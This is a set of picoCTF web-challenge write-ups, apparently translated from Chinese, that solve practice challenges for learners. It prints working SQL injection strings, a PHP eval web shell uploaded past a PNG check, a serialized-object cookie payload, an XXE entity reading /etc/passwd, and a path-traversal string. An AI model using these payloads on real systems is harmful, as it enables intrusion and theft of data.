All-in-One PicoCTF Writeups: Web

All-in-One PicoCTF Writeups: Web
S1l3ntC0nquerPreface
In fact, there seems to be nothing to say about the preface, but I just don’t want to classify the topics at the beginning, so I still put a preface XD.
When I was brushing PicoCTF, I often found that almost all writeups were in English, so I wanted to write a more complete English version! In short, I will try my best to collect all the picoCTF questions here (but because I have already written about 60 questions before I start to write writeup, I may wait for the other parts to be completed before filling in the previous parts), if necessary You can just come here to see all the writeups, that’s it! Hope this helps.
unminify
Read the title first. After clicking it, he will say that if you open this webpage, it means that your browser has received the flag, but he does not know how to read it.
Since he said that our browser has received the flag, let’s open F12 and take a look at the web page code! After clicking on the developer tools, use Ctrl+F
to search for the picoCTF
string directly in the Tab of Element, and you will find XD directly. Well, isn’t this question too watery?
picoCTF{pr3tty_c0d3_dbe259ce}
Includes
This topic is given to a website, which looks like this.
There is only one thing, no information, only this click, say hello, there will be an alert. Just click on F12 and first check if there is any JS or other things, and you will find script.js
. After clicking on it, you will find half a Flag.
function greetings() {
alert("This code is in a separate file!");
}
// f7w_2of2_b8f4b022}
Then continue to look and you will find that there is another style.css
with the first half of the Flag.
body {
background-color: lightblue;
}
/* picoCTF{1nclu51v17y_1of2_ */
So you can spell out the entire Flag.
picoCTF{1nclu51v17y_1of2_f7w_2of2_b8f4b022}
picobrowser
In this question, after we click on the URL, we will see a FLAG button. If we press it, we will find that we cannot get FLAG.
He said we should use picobrowser, so I wrote a selenium Python script to run to see if I could get the flag.
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager
import time
my_user_agent = "picobrowser" # Change agent here to picobrowser
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument(f"--user-agent={my_user_agent}")
service = Service(executable_path=ChromeDriverManager().install())
driver = webdriver.Chrome(service=service, options=chrome_options)
url = "https://jupiter.challenges.picoctf.org/problem/28921/flag"
driver.get(url)
time.sleep(3345)
This way you get the flag!
picoCTF{p1c0_s3cr3t_ag3nt_84f9c865}
SQLiLite
The title is a login page.
Let’s try to log in with admin, admin
first.
It will say Login failed, but we can see that its SQL query is
SELECT * FROM users WHERE name='admin' AND password='admin'
So we can use SQL Injection easily! Here you can use the account number ' OR 1=1--
to log in. You don’t need to enter the password, or you can enter Random.
But he said that the flag is in plainsight, so we can’t see it, so open the developer tools and use Ctrl+F
to search!
picoCTF{L00k5_l1k3_y0u_solv3d_it_d3c660ac}
More SQLi
After launching the question, you will enter a login page, as shown below.
Then we first try to log in using admin
as the account password. Enter admin
for both the account and password and press login. The web page will render a query statement for the account and password we just entered, as well as the user information in the background, as follows.
The picture is a bit small, but the content of his show is as follows:
username: admin
password: admin
SQL query: SELECT id FROM users WHERE password = 'admin' AND username = 'admin'
So here we use the password 'OR 1=1 --
this string of payload as input (the account number can be entered as Random), and the entire SQL query will become like this:
SELECT id FROM users WHERE password = ''OR 1=1 --' AND username = 'admin'
You can see from the highlighted color of the above code that everything after 1=1
has been annotated, so you can log in to the system directly! After logging in, you will see the following interface:
He can query the name of City, but in fact a piece of data contains City, Address, and Phone. Analyze the possible SQL statements in the background, which should be as follows:
SELECT city, address, phone FROM {TABLE_NAME} WHERE city = '';
Furthermore, because the question tells us that the system uses SQLite, there will be a table called sqlite_master
to store various information of some tables. (Source)
Knowing this, we enter ' UNION SELECT name, sql, 3345 FROM sqlite_master; --
to make the entire SQL statement become as follows
SELECT city, address, phone FROM {TABLE_NAME} WHERE city = '' UNION SELECT name, sql, 3345 FROM sqlite_master; --';
Here we use join to merge the two query results. Because the first result is an empty set, the returned result will be the table content of sqlite_master, as follows:
We can see that the place surrounded by the red frame is the flag we want to get. Now that we know the name of the table and the structure of the table, let’s query it! Use this payload ' UNION SELECT 1, flag, 1 FROM more_table; --
. After entering, you can see the following interface!
Flag is found!
picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_78d0583a}
Trickster
The title of this question is a webpage that can upload png. It seems to be a file upload vulnerability. The page is as follows:
Adhering to the spirit of scanning the path first when you don’t know what to do, you can find its robots.txt, which prohibits two paths, as follows:
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
Now that it’s banned, let’s go check it out XD. /uploads/
should be the file path after uploading, and the content of instructions.txt is as follows:
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
So we know that there are two ways for the backend to verify whether the file is png. One is to check whether the file suffix is .png
; the other is to verify the magic bytes of the file, looking at the first few hexadecimal characters of the file. Whether the bytes are 50 4E 47
.
After knowing this information, let’s randomly find a png picture and upload it! (I took a random screenshot here and named it hack.png
). And use Burp suite to intercept the packet during the upload process, and modify the file name and file content in it. Here, change the file name to hack.png.php
, and add this [php one sentence Trojan] (https://xz.aliyun.com/t/6957?time__1311=n4+xnD0DRDyD9iDuDRhxBqOoQRQ40xAK5q5vKx&alichlgref under the PNG of the file content =https://www.google.com/)
<?php @eval($_POST['shell']);?>
The entire modification is as follows (it may be clearer if you click it):
After the upload is completed, the shell will now be located at the location a
.
Next, use the China Ant Sword tool to connect to the web shell. The connection process is as follows:
After the connection is completed, you can directly look at the website files. The following .txt
should be the flag.
So we successfully found flag! as follows:
picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_d3ac625b}
Here is an additional knowledge point. Let’s talk about what <?php @eval($_POST['shell']);?>
is doing. But since I’m not very familiar with php, let’s see what the ChatGPT master said!
Of course, the principle of this PHP code is to allow remote execution of PHP code on the server. How this works:
<?php
is the start tag of PHP code.- The
eval()
function in@eval($_POST['shell']);
executes the string passed to it as PHP code. The code here comes from a variable namedshell
in the HTTP POST request.- The
@
symbol is used to suppress any error messages so that the user will not see any errors generated during execution.- Since this code executes arbitrary PHP code, it makes the server vulnerable and is therefore a very dangerous practice.
In other words, any code passed through the
shell
variable will be executed by the server, which can be used for various purposes, including but not limited to data reading, file operations, etc.
Then I later found another writeup. Its payload is quite cool. It is an input box that can be executed instantly. If you are interested, you can take a look at [this article](https://medium.com/@niceselol/picoctf-2024- trickster-af90f7476e18).
Super Serial
This question first reads /robots.txt
and finds that it has a prohibited path of /admin.phps
, which seems to mean that it supports .phps
files. So you can go to /index.phps
to see its source code. (phps
is PHP source)
The question says that Flag is in ../flag
, so the idea of solving the problem is to find a way to read ../flag
. First take out the program code on the picture and analyze it.
<?php
require_once "cookie.php"; # Cookie.php is used here
if (isset($_POST["user"]) && isset($_POST["pass"])) {
$con = new SQLite3("../users.db");
$username = $_POST["user"];
$password = $_POST["pass"];
$perm_res = new permissions($username, $password);
if ($perm_res->is_guest() || $perm_res->is_admin()) {
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + 86400 * 30, "/");
header("Location: authentication.php"); # Redirect here to authentication.php
die();
} else {
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
}
}
?>
Since the original code can be viewed through .phps
, check cookie.phps
and authentication.phps
first.
authentication.php is as follows:
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
$msg = "Welcome admin";
$log = new access_log("access.log");
$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
$msg = "Welcome guest";
}
?>
cookie.php 如下:
<?php
session_start();
class permissions
{
public $username;
public $password;
function __construct($u, $p) {
$this->username = $u;
$this->password = $p;
}
function __toString() {
return $u.$p;
}
function is_guest() {
$guest = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] != 1) {
$guest = true;
}
}
return $guest;
}
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
}
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
?>
The following vulnerabilities can be found in cookie.php
:
if (isset($_COOKIE["login"])) {
try {
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
} catch (Error $e) {
die("Deserialization error. " . $perm);
}
}
The deserialization here is unsafe (the title of the question also has Tips related to Serial). If the deserialization fails and enters the catch error, $perm
will be output. In the access_log
class in authentication.php
, he defines __toString()
to read and return the contents of log_file
.
So we only need to create a login
cookie and enter an incorrect value to trigger a deserialization error. In the picture below, I set the value of login
to TEST
, which successfully triggered the deserialization error message.
Then we use PHP Sandbox to write some PHP code online. It is written like this because we can see from cookie.phps
that the original code is URL decoded first, then Base64 decoded, and finally deserialized. So the whole process is just the other way around.
<?php
print(urlencode(base64_encode(serialize("TEST"))))
?>
He outputs czo0OiJURVNUIjs=
. Let’s change the cookie value to this and see if we can output TEST
correctly.
success! Next, we only need to create a new access_log class and set its $log_file
to "../flag"
and that’s it! The exploit is as follows.
<?php
class access_log
{
public $log_file = "../flag";
}
$payload = new access_log();
print urlencode(base64_encode(serialize($payload)));
?>
After executing the above code, you will get
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
This is our final Payload. Paste it to the value of the cookie of login
and try it again by rearranging the page of authentication.php
.
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}
Java Code Analysis!?!
This question is a little bigger and is an e-book system. At the beginning, he gave a login interface and a set of accounts and passwords: account user
, password user
. In addition, source code is also provided. Let’s first take a look at what the web page looks like.
After logging in, you will see More’s functions, including reading Books, querying books, viewing accounts, etc. The interface after login is as follows.
The question tells us that the Winning condition of this question is to read the book of Flag, so that Flag can be obtained. But as you can see in the picture above, we are now a Free user, and the Flag book can only be read by Admin, so we need to find a way to increase the permissions.。
// TODO
IntroToBurp
This question requires using BurpSuite to intercept packets. First, turn on Burp’s interception.
Then open Browser and connect to the URL given in the question. I found it was a registration page, so I tried filling in some random stuff first. After filling in, press Register and you will find that Burp has intercepted our packet. There is no need to modify the packet here, just press Forward to send it. Then it will jump to an OTP verification page, and you can also enter something randomly first.
Then go to Burp to modify the OTP data and delete the entire line directly.
After deleting it, just forward the packet and send it there! If you just leave it blank and press Submit, an OTP Data will still be sent, so you need to use Burp to delete it directly. Just like the tips given in the question.
Try mangling the request, maybe their server-side code doesn’t handle malformed requests very well.
picoCTF{#0TP_Bypvss_SuCc3$S_e1eb16ed}
Forbidden Paths
The topic is introduced as follows:
Can you get the flag? We know that the website files live in
/usr/share/nginx/html/
and the flag is at/flag.txt
but the website is filtering absolute file paths. Can you get past the filter to read the flag?Additional details will be available after launching your challenge instance.
Click on the website given in the question to see what it looks like.
After testing the above txt files, we found that it is a program that can read the files. Since the question tells us the path of the website project, we only need to push back to the root directory. Because /usr/share/nginx/html/
has four levels, just go back to the directory before the fourth level and read flag.txt
. The final payload is as follows.
../../../../flag.txt
Flag ran out! as follows.
picoCTF{7h3_p47h_70_5ucc355_e5a6fcbc}
It is my Birthday
Title description
I sent out 2 invitations to all of my friends for my birthday! I’ll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn’t believe how long it took me to find a collision. Anyway, see if you’re invited by submitting 2 PDFs to my website.
After reading the description, you can find that you should upload two PDF files with the same MD5 Hash value. Here we can directly use md5-1.pdf and md5-2 in this Github Repo. pdf. Just download these two files and upload them to the website of the question.
picoCTF{c0ngr4ts_u_r_1nv1t3d_aebcbf39}
Irish-Name-Repo 1
Title description
There is a website running at
a
(link) or http://jupiter.challenges.picoctf.org:39720. Do you think you can log us in? Try to see if you can login!
So just log in. First go to the Login page and find that one of the parameters he passed to login.php
is debug=0
, as follows.
So use BurpSuite to open the web page and modify the parameters. Change debug=0
to debug=1
, and then you will find the debug message returned after the Forward request.
Now that you know its SQL statement, you can directly use SQLi. Payload is ' OR 1=1--
, and Flag is obtained successfully.
picoCTF{s0m3_SQL_c218b685}
SOAP
According to the tips given in the question, this question is an XXE vulnerability. I don’t know much about XXE, so I referred to this Article, which has a more detailed introduction about XXE. As for this question, first use BurpSuite to open it to intercept the packets transmitted during the process.
After opening the website, I found that clicking these three buttons will trigger a request.
We first Random click on a packet to let Burp capture its packet, and we further modify the XML Payload. The packet content looks like this.
Because the question says to read the path /etc/passwd
, we modify the packet into the following.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY ext SYSTEM "file:///etc/passwd">
]>
<data>
<ID>&ext;</ID>
</data>
After forwarding the request, you will see the following content returned on the web page.
I successfully found Flag.
picoCTF{XML_3xtern@l_3nt1t1ty_0dcf926e}
SQL Direct
To connect to the PostgreSQL Data library for this question, first open Kali. After opening, enter the following command to connect to the Data library, and the password is postgres
.
psql -h saturn.picoctf.net -p 51152 -U postgres pico
-h
stands for Host-p
stands for Port-U
stands for Usernamepico
represents the Data library name
After connecting, you can enter \d
to view Tables.
pico=# \d
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | flags | table | postgres
(1 row)
You can see that there is a table called flags
. Here, use the following command to query the data directly.
SELECT * FROM flags;
Sure enough, I saw Flag.
picoCTF{L3arN_S0m3_5qL_t0d4Y_73b0678f}
Cookies
After opening the webpage given in the question, press F12
and go to Application to view Cookies. You see a cookie called name with a value of -1. Change its value to 0. Try it and find that the page has changed. Show I love snickerdoodle cookies!. Then keep increasing this value until it reaches 18, and you will find Flag.
picoCTF{3v3ry1_l0v3s_c00k135_cc9110ba}
More Cookies
TODO
Client-side-again
In this question, you can see a long and messy javascript after F12, which has been obfuscation. First format it to make it look more comfortable.
var _0x5a46 = [
"f49bf}",
"_again_e",
"this",
"Password\x20Verified",
"Incorrect\x20password",
"getElementById",
"value",
"substring",
"picoCTF{",
"not_this",
];
(function (_0x4bd822, _0x2bd6f7) {
var _0xb4bdb3 = function (_0x1d68f6) {
while (--_0x1d68f6) {
_0x4bd822["push"](_0x4bd822["shift"]());
}
};
_0xb4bdb3(++_0x2bd6f7);
})(_0x5a46, 0x1b3);
var _0x4b5b = function (_0x2d8f05, _0x4b81bb) {
_0x2d8f05 = _0x2d8f05 - 0x0;
var _0x4d74cb = _0x5a46[_0x2d8f05];
return _0x4d74cb;
};
function verify() {
checkpass = document[_0x4b5b("0x0")]("pass")[_0x4b5b("0x1")];
split = 0x4;
if (checkpass[_0x4b5b("0x2")](0x0, split * 0x2) == _0x4b5b("0x3")) {
if (checkpass[_0x4b5b("0x2")](0x7, 0x9) == "{n") {
if (
checkpass[_0x4b5b("0x2")](split * 0x2, split * 0x2 * 0x2) ==
_0x4b5b("0x4")
) {
if (checkpass[_0x4b5b("0x2")](0x3, 0x6) == "oCT") {
if (
checkpass[_0x4b5b("0x2")](
split * 0x3 * 0x2,
split * 0x4 * 0x2
) == _0x4b5b("0x5")
) {
if (checkpass["substring"](0x6, 0xb) == "F{not") {
if (
checkpass[_0x4b5b("0x2")](
split * 0x2 * 0x2,
split * 0x3 * 0x2
) == _0x4b5b("0x6")
) {
if (
checkpass[_0x4b5b("0x2")](0xc, 0x10) ==
_0x4b5b("0x7")
) {
alert(_0x4b5b("0x8"));
}
}
}
}
}
}
}
} else {
alert(_0x4b5b("0x9"));
}
}
The most important information lies in the verify()
function, because it is responsible for checking the login password. So how do we make something like _0x4b5b("0x0")
? First, let’s paste all the above code into the Console of web page F12.
Then enter the variables one by one and you can restore it! as follows.
The restored code is as follows.
var strlist = [
"f49bf}",
"_again_e",
"this",
"Password\x20Verified",
"Incorrect\x20password",
"getElementById",
"value",
"substring",
"picoCTF{",
"not_this",
];
(function (_0x4bd822, _0x2bd6f7) {
var _0xb4bdb3 = function (_0x1d68f6) {
while (--_0x1d68f6) {
_0x4bd822["push"](_0x4bd822["shift"]());
}
};
_0xb4bdb3(++_0x2bd6f7);
})(strlist, 0x1b3);
var _0x4b5b = function (_0x2d8f05, _0x4b81bb) {
_0x2d8f05 = _0x2d8f05 - 0x0;
var _0x4d74cb = strlist[_0x2d8f05];
return _0x4d74cb;
};
function verify() {
checkpass = document["getElementById"]("pass")["value"];
split = 0x4;
if (checkpass["substring"](0x0, split * 0x2) == "picoCTF{") {
if (checkpass["substring"](0x7, 0x9) == "{n") {
if (
checkpass["substring"](split * 0x2, split * 0x2 * 0x2) ==
"not_this"
) {
if (checkpass["substring"](0x3, 0x6) == "oCT") {
if (
checkpass["substring"](
split * 0x3 * 0x2,
split * 0x4 * 0x2
) == "f49bf}"
) {
if (checkpass["substring"](0x6, 0xb) == "F{not") {
if (
checkpass["substring"](
split * 0x2 * 0x2,
split * 0x3 * 0x2
) == "_again_e"
) {
if (
checkpass["substring"](0xc, 0x10) ==
"_again_e"
) {
alert("Password Verified");
}
}
}
}
}
}
}
} else {
alert("Incorrect password");
}
}
This way you can find Flag.
picoCTF{not_this_again_ef49bf}
Some Assembly Required 1
Open Devtools and see a G82XCw5CX3.js
in Sources. Open it first and take a look.。
const _0x402c = [
"value",
"2wfTpTR",
"instantiate",
"275341bEPcme",
"innerHTML",
"1195047NznhZg",
"1qfevql",
"input",
"1699808QuoWhA",
"Correct!",
"check_flag",
"Incorrect!",
"./JIFxzHyW8W",
"23SMpAuA",
"802698XOMSrr",
"charCodeAt",
"474547vVoGDO",
"getElementById",
"instance",
"copy_char",
"43591XxcWUl",
"504454llVtzW",
"arrayBuffer",
"2NIQmVj",
"result",
];
const _0x4e0e = function (_0x553839, _0x53c021) {
_0x553839 = _0x553839 - 0x1d6;
let _0x402c6f = _0x402c[_0x553839];
return _0x402c6f;
};
(function (_0x76dd13, _0x3dfcae) {
const _0x371ac6 = _0x4e0e;
while (!![]) {
try {
const _0x478583 =
-parseInt(_0x371ac6(0x1eb)) +
parseInt(_0x371ac6(0x1ed)) +
-parseInt(_0x371ac6(0x1db)) * -parseInt(_0x371ac6(0x1d9)) +
-parseInt(_0x371ac6(0x1e2)) * -parseInt(_0x371ac6(0x1e3)) +
-parseInt(_0x371ac6(0x1de)) * parseInt(_0x371ac6(0x1e0)) +
parseInt(_0x371ac6(0x1d8)) * parseInt(_0x371ac6(0x1ea)) +
-parseInt(_0x371ac6(0x1e5));
if (_0x478583 === _0x3dfcae) break;
else _0x76dd13["push"](_0x76dd13["shift"]());
} catch (_0x41d31a) {
_0x76dd13["push"](_0x76dd13["shift"]());
}
}
})(_0x402c, 0x994c3);
let exports;
(async () => {
const _0x48c3be = _0x4e0e;
let _0x5f0229 = await fetch(_0x48c3be(0x1e9)),
_0x1d99e9 = await WebAssembly[_0x48c3be(0x1df)](
await _0x5f0229[_0x48c3be(0x1da)]()
),
_0x1f8628 = _0x1d99e9[_0x48c3be(0x1d6)];
exports = _0x1f8628["exports"];
})();
function onButtonPress() {
const _0xa80748 = _0x4e0e;
let _0x3761f8 = document["getElementById"](_0xa80748(0x1e4))[
_0xa80748(0x1dd)
];
for (let _0x16c626 = 0x0; _0x16c626 < _0x3761f8["length"]; _0x16c626++) {
exports[_0xa80748(0x1d7)](
_0x3761f8[_0xa80748(0x1ec)](_0x16c626),
_0x16c626
);
}
exports["copy_char"](0x0, _0x3761f8["length"]),
exports[_0xa80748(0x1e7)]() == 0x1
? (document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)] =
_0xa80748(0x1e6))
: (document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)] =
_0xa80748(0x1e8));
}
It seems to be obfuscation (Obfuscation) JS code. First try to reverse it. It is said to be reverse, but in fact it is just a simple variable renaming & hexadecimal to decimal conversion XD. The renamed code looks like below.
const strArr = [
"value",
"2wfTpTR",
"instantiate",
"275341bEPcme",
"innerHTML",
"1195047NznhZg",
"1qfevql",
"input",
"1699808QuoWhA",
"Correct!",
"check_flag",
"Incorrect!",
"./JIFxzHyW8W",
"23SMpAuA",
"802698XOMSrr",
"charCodeAt",
"474547vVoGDO",
"getElementById",
"instance",
"copy_char",
"43591XxcWUl",
"504454llVtzW",
"arrayBuffer",
"2NIQmVj",
"result",
];
const getStr = function (idx, arg2) {
idx = idx - 470;
let tempStr = strArr[idx];
return tempStr;
};
// This IIFE (Immediately Invoked Function Expression) will shuffle the strArr
(function (arg1, arg2) {
const func2 = getStr;
//This is True
while (!![]) {
try {
const tempConst =
-parseInt(func2(491)) +
parseInt(func2(493)) +
-parseInt(func2(475)) * -parseInt(func2(473)) +
-parseInt(func2(482)) * -parseInt(func2(483)) +
-parseInt(func2(478)) * parseInt(func2(480)) +
parseInt(func2(472)) * parseInt(func2(490)) +
-parseInt(func2(485));
if (tempConst === arg2) break;
else arg1["push"](arg1["shift"]());
} catch (error) {
arg1["push"](arg1["shift"]());
}
}
})(strArr, 627907);
let exports;
(async () => {
const func3 = getStr;
let var1 = await fetch(func3(489)),
var2 = await WebAssembly[func3(479)](await var1[func3(474)]()),
var3 = var2[func3(470)];
exports = var3["exports"];
})();
function onButtonPress() {
const func4 = getStr;
let var1 = document["getElementById"](func4(484))[func4(477)];
for (let i = 0; i < var1["length"]; i++) {
exports[func4(471)](var1[func4(492)](i), i);
}
exports["copy_char"](0, var1["length"]),
exports[func4(487)]() == 1
? (document[func4(494)](func4(476))[func4(481)] = func4(486))
: (document[func4(494)](func4(476))[func4(481)] = func4(488));
}
At line 34, we find that this self-executing anonymous function will disrupt the initial strArr
array, so in order to figure out what each index corresponds to, we can use the browser’s Devtools to help. Because in the initial code, the function to find one of the elements from strArr
is called _0x4e0e
, so you can first give it an alias named getStr
and enter it in the Console of Devtools as follows. Then you can bring in each index and find the corresponding string.
>>> const getStr = _0x4e0e;
undefined
>>> getStr(489)
'./JIFxzHyW8W'
>>> getStr(479)
'instantiate'
Then we will go back one by one and see how the code will change. The following is the code after I have completed all the correspondences.
(async () => {
const func3 = getStr;
let var1 = await fetch("./JIFxzHyW8W"),
var2 = await WebAssembly["instantiate"](await var1["arrayBuffer"]()),
var3 = var2["instance"];
exports = var3["exports"];
})();
function onButtonPress() {
const func4 = getStr;
let var1 = document["getElementById"]("input")["value"];
for (let i = 0; i < var1["length"]; i++) {
exports["copy_char"](var1["charCodeAt"](i), i);
}
exports["copy_char"](0, var1["length"]),
exports["check_flag"]() == 1
? (document["getElementById"]("result")["innerHTML"] = "Correct!")
: (document["getElementById"]("result")["innerHTML"] =
"Incorrect!");
}
In this way, we can probably understand that this code will pass the information entered by the user to the WebAssembly script through copy_char
, and then call chech_flag
to compare whether the Flag is correct. Let’s take a look at line 3 first. His WebAssembly script. The tool that will be used here is wasm2wat
in this. The author’s own description is as follows:
wasm2wat: the inverse of wat2wasm, translate from the binary format back to the text format (also known as a .wat)
After installing it according to the official installation instructions, just use the following command. (Remember to use wget
to grab the file from http://mercury.picoctf.net:40226/JIFxzHyW8W
first)
~/Tools/wabt/build/wasm2wat JIFxzHyW8W
(module
(type (;0;) (func))
(type (;1;) (func (param i32 i32) (result i32)))
(type (;2;) (func (result i32)))
(type (;3;) (func (param i32 i32)))
(func (;0;) (type 0))
(func (;1;) (type 1) (param i32 i32) (result i32)
(local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
global.get 0
local.set 2
i32.const 32
local.set 3
local.get 2
local.get 3
i32.sub
local.set 4
local.get 4
local.get 0
i32.store offset=24
local.get 4
local.get 1
i32.store offset=20
local.get 4
i32.load offset=24
local.set 5
local.get 4
local.get 5
i32.store offset=16
local.get 4
i32.load offset=20
local.set 6
local.get 4
local.get 6
i32.store offset=12
block ;; label = @1
loop ;; label = @2
local.get 4
i32.load offset=16
local.set 7
i32.const 1
local.set 8
local.get 7
local.get 8
i32.add
local.set 9
local.get 4
local.get 9
i32.store offset=16
local.get 7
i32.load8_u
local.set 10
local.get 4
local.get 10
i32.store8 offset=11
local.get 4
i32.load offset=12
local.set 11
i32.const 1
local.set 12
local.get 11
local.get 12
i32.add
local.set 13
local.get 4
local.get 13
i32.store offset=12
local.get 11
i32.load8_u
local.set 14
local.get 4
local.get 14
i32.store8 offset=10
local.get 4
i32.load8_u offset=11
local.set 15
i32.const 255
local.set 16
local.get 15
local.get 16
i32.and
local.set 17
block ;; label = @3
local.get 17
br_if 0 (;@3;)
local.get 4
i32.load8_u offset=11
local.set 18
i32.const 255
local.set 19
local.get 18
local.get 19
i32.and
local.set 20
local.get 4
i32.load8_u offset=10
local.set 21
i32.const 255
local.set 22
local.get 21
local.get 22
i32.and
local.set 23
local.get 20
local.get 23
i32.sub
local.set 24
local.get 4
local.get 24
i32.store offset=28
br 2 (;@1;)
end
local.get 4
i32.load8_u offset=11
local.set 25
i32.const 255
local.set 26
local.get 25
local.get 26
i32.and
local.set 27
local.get 4
i32.load8_u offset=10
local.set 28
i32.const 255
local.set 29
local.get 28
local.get 29
i32.and
local.set 30
local.get 27
local.set 31
local.get 30
local.set 32
local.get 31
local.get 32
i32.eq
local.set 33
i32.const 1
local.set 34
local.get 33
local.get 34
i32.and
local.set 35
local.get 35
br_if 0 (;@2;)
end
local.get 4
i32.load8_u offset=11
local.set 36
i32.const 255
local.set 37
local.get 36
local.get 37
i32.and
local.set 38
local.get 4
i32.load8_u offset=10
local.set 39
i32.const 255
local.set 40
local.get 39
local.get 40
i32.and
local.set 41
local.get 38
local.get 41
i32.sub
local.set 42
local.get 4
local.get 42
i32.store offset=28
end
local.get 4
i32.load offset=28
local.set 43
local.get 43
return)
(func (;2;) (type 2) (result i32)
(local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
i32.const 0
local.set 0
i32.const 1072
local.set 1
i32.const 1024
local.set 2
local.get 2
local.get 1
call 1
local.set 3
local.get 3
local.set 4
local.get 0
local.set 5
local.get 4
local.get 5
i32.ne
local.set 6
i32.const -1
local.set 7
local.get 6
local.get 7
i32.xor
local.set 8
i32.const 1
local.set 9
local.get 8
local.get 9
i32.and
local.set 10
local.get 10
return)
(func (;3;) (type 3) (param i32 i32)
(local i32 i32 i32 i32 i32)
global.get 0
local.set 2
i32.const 16
local.set 3
local.get 2
local.get 3
i32.sub
local.set 4
local.get 4
local.get 0
i32.store offset=12
local.get 4
local.get 1
i32.store offset=8
local.get 4
i32.load offset=12
local.set 5
local.get 4
i32.load offset=8
local.set 6
local.get 6
local.get 5
i32.store8 offset=1072
return)
(table (;0;) 1 1 funcref)
(memory (;0;) 2)
(global (;0;) (mut i32) (i32.const 66864))
(global (;1;) i32 (i32.const 1072))
(global (;2;) i32 (i32.const 1024))
(global (;3;) i32 (i32.const 1328))
(global (;4;) i32 (i32.const 1024))
(global (;5;) i32 (i32.const 66864))
(global (;6;) i32 (i32.const 0))
(global (;7;) i32 (i32.const 1))
(export "memory" (memory 0))
(export "__wasm_call_ctors" (func 0))
(export "strcmp" (func 1))
(export "check_flag" (func 2))
(export "input" (global 1))
(export "copy_char" (func 3))
(export "__dso_handle" (global 2))
(export "__data_end" (global 3))
(export "__global_base" (global 4))
(export "__heap_base" (global 5))
(export "__memory_base" (global 6))
(export "__table_base" (global 7))
(data (;0;) (i32.const 1024) "picoCTF{cb688c00b5a2ede7eaedcae883735759}\00\00"))
You can see the Flag after the last flight. We will not continue to go back in reverse here. If you want to continue, you can still use other tools in this tool to complete it.
picoCTF{cb688c00b5a2ede7eaedcae883735759}